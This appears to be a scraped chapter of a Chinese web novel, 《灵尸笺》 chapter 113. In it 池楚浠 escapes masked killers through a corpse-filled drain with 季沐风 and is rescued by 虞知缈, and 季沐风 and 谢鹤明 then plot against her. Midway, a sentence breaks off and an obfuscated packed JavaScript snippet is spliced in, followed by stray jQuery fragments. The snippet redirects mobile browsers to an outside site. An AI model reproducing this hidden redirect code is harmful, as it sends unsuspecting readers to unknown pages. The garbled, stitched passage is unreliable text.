113. 故意害我

作品:《灵尸笺

    沿着水渠跑了一段路,前方突然飘来一股令人作呕的味道。


    这味道池楚浠再熟悉不过了,是死尸。


    有斑驳的光源从上方的缝隙投射进来,尽管很模糊,但池楚浠依然能够判断。


    眼前的废弃水渠里漂浮着数具尸体,有的已经严重腐烂,有的还较为新鲜。


    “季沐风。”池楚浠带着不小的怨气道,“你今日故意陷我于这种境地,目的为何?”


    季沐风的语气还很无辜,他压着嗓门低声道:“我这是在救你,你却不分青红皂白污蔑我。”


    “我看见外面打起来了,有人杀了人,有的胡商直接从房间里被拖出来杀掉,马上就要轮到你,再不跑就不来及了。”


    池楚浠冷笑:“我看是你想杀我。”


    季沐风捂了她的嘴小声道:“别说了,一会儿被他们发现我们就再难逃出去。”


    地下的废渠空间狭小,前方的水里浮着死尸,此时出去极有可能被面具人发现,但继续前行也是很艰难的。


    池楚浠用力将季沐风的手掌扒拉下来,在黑暗中瞪了他一眼。


    隐约能听见外面的脚步声,这些脚步声似乎在逐渐逼近。


    池楚浠缓慢淌进了水里,她用自带的纱巾捂住口鼻,脚步轻缓地往前挪动。


    季沐风当场愣了片刻,随后咬牙跟上,周围死尸的味道熏得他只想作呕。


    他伸手去扯池楚浠的衣角,被池楚浠一掌拍开。


    闷头往前走了一段,这地下废渠总归是能找到出口的,只是不知具体在哪个方位。


    池楚浠仔细复盘了几遍客栈的布局,从他们跑出来的路线计算,勉强推断出了一个方位。


    即便是找出了一个方位,但她也不太相信自己的推断,毕竟在认路这一块向来不是她的强项。


    季沐风已经被熏得有些头晕眼花了,他很后悔选择了这条路。


    脚步声渐渐远去,同时火把的光亮也消失了。


    池楚浠花了些时间才适应周围的环境,她扶着墙壁继续前行。


    这里的尸体至少有五具,怪不得白日里有人说住在客栈里的人会莫名其妙的消失,怕是都死在了这里。


    季沐风道:“你一个小娘子,怎么一点不害怕这些东西?”


    “等等我。”


    池楚浠在水里捡到根树枝,她握紧树枝抵在季沐风脖颈:“闭嘴。”


    季沐风惜命,不敢再说。


    直到走出了这片废水,脚下的地终于干爽了,尸臭味也淡了许多。


    池楚浠转身将季沐风堵住,质问:“谁派你来的,白夫人?”


    季沐风顿了片刻,声音竟忽地变冷了几分:“她早就不在长安了,关她何事。”


    “楚浠,我知道你对你阿耶的死怀有疑虑,可当年的案子已经了结,就算你刨根问底又能如何,还不如好好过你的日子,嫁人为妇,生儿育女。”


    池楚浠冷哼一声,抬腿踹了他一脚。


    季沐风小腿疼得往回缩了缩。


    池楚浠摸索着前方的路口,这里的废渠分叉了,她努力嗅了嗅,朝着臭味更淡的那边走去。


    才走了没多远,便听见不远处传来急促的脚步声,人数似乎比方才还要多。


    池楚浠心下一慌,当即往回走换了个方向。


    可即便换了方向,外头依然响起脚步声,甚至有武器摩擦的声响。


    池楚浠怔了怔,这下恐怕没那么容易逃出去了。


    她将季沐风抵在石壁上,凑在他耳边冷声问:“他们为何要杀我?”


    季沐风被压住了喉咙,他掰了掰池楚浠的手低声道:“或许只是因为你看见他们了,他们身穿甲胄,手握兵器,若不是朝廷的官兵那还能是什么?”


    “你看见了他们的行踪,不杀你杀谁?”


    池楚浠道:“我若是一直待在房间里便什么都看不见,季沐风,你对我耍心机竟到了这个程度?”


    季沐风忽地笑了:“我要害你也没必要把自己的命也搭进去,他们不是也在追我吗?”


    如今的季沐风令她猜不透,池楚浠不相信他说的话。


    只听得外边有人道:“出来吧,藏在里面也不怕憋死,出来让你们死个痛快。”


    季沐风道:“还是被他们发现了,今日我就要同你一起葬身废渠了。”


    池楚浠僵持了一会儿。


    外面的人道:“不出来我就放狗了,我数到三。”


    “一。”


    池楚浠随便选了个出口往外走,横竖都是一死,好歹要死在外面。


    这个地底下太臭了。


    从出口刚一露脸,一排刀刃就齐刷刷对准了池楚浠。


    季沐风忽地往她身前一挡,竟张开双臂将她护着。


    “这是天子脚下,你们竟敢滥杀无辜!”


    池楚浠惊奇地看了季沐风一眼,他这会儿好像又变了一个人,好像回到了从前的模样。


    戴面具的人手持长刀,那刀刃上还沾着新鲜的血迹。他道:“杀了你们就可以当这一切什么都没发生。”


    面具人微微侧头跟手下示意,两旁持刀的护卫便要上前来砍杀。


    季沐风猛然转身将池楚浠揽在怀中,一副视死如归的模样。


    池楚浠只觉得身体僵硬,反应过来后就只剩疑虑。


    季沐风这是何意?


    愿意为她去死?


    在季沐风一副坦然赴死的神情中,池楚浠发出了一声冷笑。


    她推了季沐风一把,主动与他拉开距离。


    “别碰我。”


    这一出似乎令面具人愣了愣,显然与他想象中发生情节的不符,旁边持刀的护卫也顿住片刻。


    只见池楚浠大步上前,彻底将自己暴露在刀刃之下,抬眼看着他们道:“你们今日也不一定能活着到天明。”


    她语气是少有的阴冷,眼神沉静地看着前方的所有人。


    面具人懒得废话,正欲自己动手,便听见身侧突然传来脚步声。


    所有人侧目一看,纷纷惊得一颤。


    前方又出现了一批身穿甲胄之人,且人数比他们更多。


    池楚浠果断地做出抉择,扭头就朝另一批“官兵”跑去。


    面具人低声下令:“撤。”


    所有面具人毫不犹豫扭头就跑。


    官兵们立刻追了过去。


    此时,池楚浠特意留意了季沐风,只见他也正朝这边跑来,他看起来惊魂未定,似乎刚才的一切行为都是情之所动,没有丝毫作秀。


    虞知缈从后方走了出来,她扫了池楚浠一眼,问道:“没事吧?”


    池楚浠摇摇头:“没事,虞中丞,戴面具的是什么人?”


    虞知缈手中晃着一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16498219|184457||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    把折扇,轻笑了一声道:“是咱们这次要抓的人。”


    “季郎君,你今日怎么也在这里,有那么好的闲心呢?”虞知缈道。


    季沐风跟她见了礼,恭敬道:“我是特地来告知池娘子一声,我家请的中间人带着媒人要去裴家说亲了,提前说一声显得我更有诚意。”


    “哦?”虞知缈一副饶有兴致的模样,“不知季郎君请的谁做中间人?”


    季沐风道:“左丞大人。”


    池楚浠一惊。


    虞知缈却淡然笑道:“左丞竟愿意为你担保纳妾,看来季郎君有几分手段,不知左丞与太子殿下相比,谁在裴家面前更有面子些?”


    季沐风疑惑道:“虞中丞此话何意?”


    虞知缈晃了晃折扇道:“本官有一朋友也想娶池娘子,本官欲请太子殿下做保成全了这桩婚事,不知季郎君可否舍得割爱?”


    季沐风僵在原地。


    池楚浠悄然看向虞知缈,不知她说的到底是不是自己想的那人。


    季沐风道:“那自然是以太子殿下为尊,只是没想到楚浠这般招人喜欢,从前是我小瞧了她。”


    虞知缈道:“从前是从前,婚约作废不过是殿下一句话的事,季郎君,识时务者为俊杰呀。”


    季沐风垂着头没敢呛她。


    池楚浠随虞知缈退回长兴坊酒楼。


    波斯客栈里,季沐风将手中的酒杯砸了出去,陶瓷碎片弹到了谢鹤明鞋上。


    谢鹤明微微抬脚将碎片踢出去,嘲讽一笑:“你还不如我,说不定我去比你的胜算更大,她现在可是看见你都厌烦。”


    季沐风冷冷地看着谢鹤明,语气同样不善:“你的好日子不多了,等她查到卓潇的证据,你以为你有几成胜算?”


    “可笑。”


    谢鹤明给自己倒了杯酒,慢慢喝着。


    “我说要娶池楚浠,将她扣在眼皮子底下,你却不同意,非求得公主让左丞出面去说服裴家,怎么,你就那么舍不得她?”


    “你既然舍不得当初为何不把人牢牢攥在手里,如今人跑了又想要回来,哪能什么便宜都让你占了。”


    “季沐风,之前你不愿为公主做事,哪怕娶了白蓉绒你也一推再推,可如今你已经无法置身事外了。”


    谢鹤明笑着给他也倒了杯酒,慢吞吞地将杯子推至他面前:“考中进士的不止你一个,你也没什么过人之处,你心里比谁都明白。”


    “否则你也不会娶了白蓉绒。”


    “可白夫人不是随你拿捏的,她敢想敢做,这一点你比不上她。”


    季沐风脸色难看,谢鹤明直截了当地戳着他的痛处。


    谢鹤明道:“今日这一出戏都让虞中丞看见了,从此刻起,你也是太子的眼中钉。”


    他笑道:“既然求娶不得,我也别无它法了,总不能真叫她将一切罪证送到金銮殿上。”


    季沐风端起酒杯又重重地放下,酒水洒了出来。


    他沉声道:“照你所说,她一介弱女子竟敢与公主作对,我可不认为她有这么大的胆量。”


    谢鹤明道:“怪不得她不嫁你,看来你还不够了解她。”


    “当初在苏府,若不是她暗中使手段,又怎会闹出何瑾亦那桩事,你以为她不敢,她可比谁都敢。”


    “季沐风,你若是落在她手里,怕是只有死路一条了。”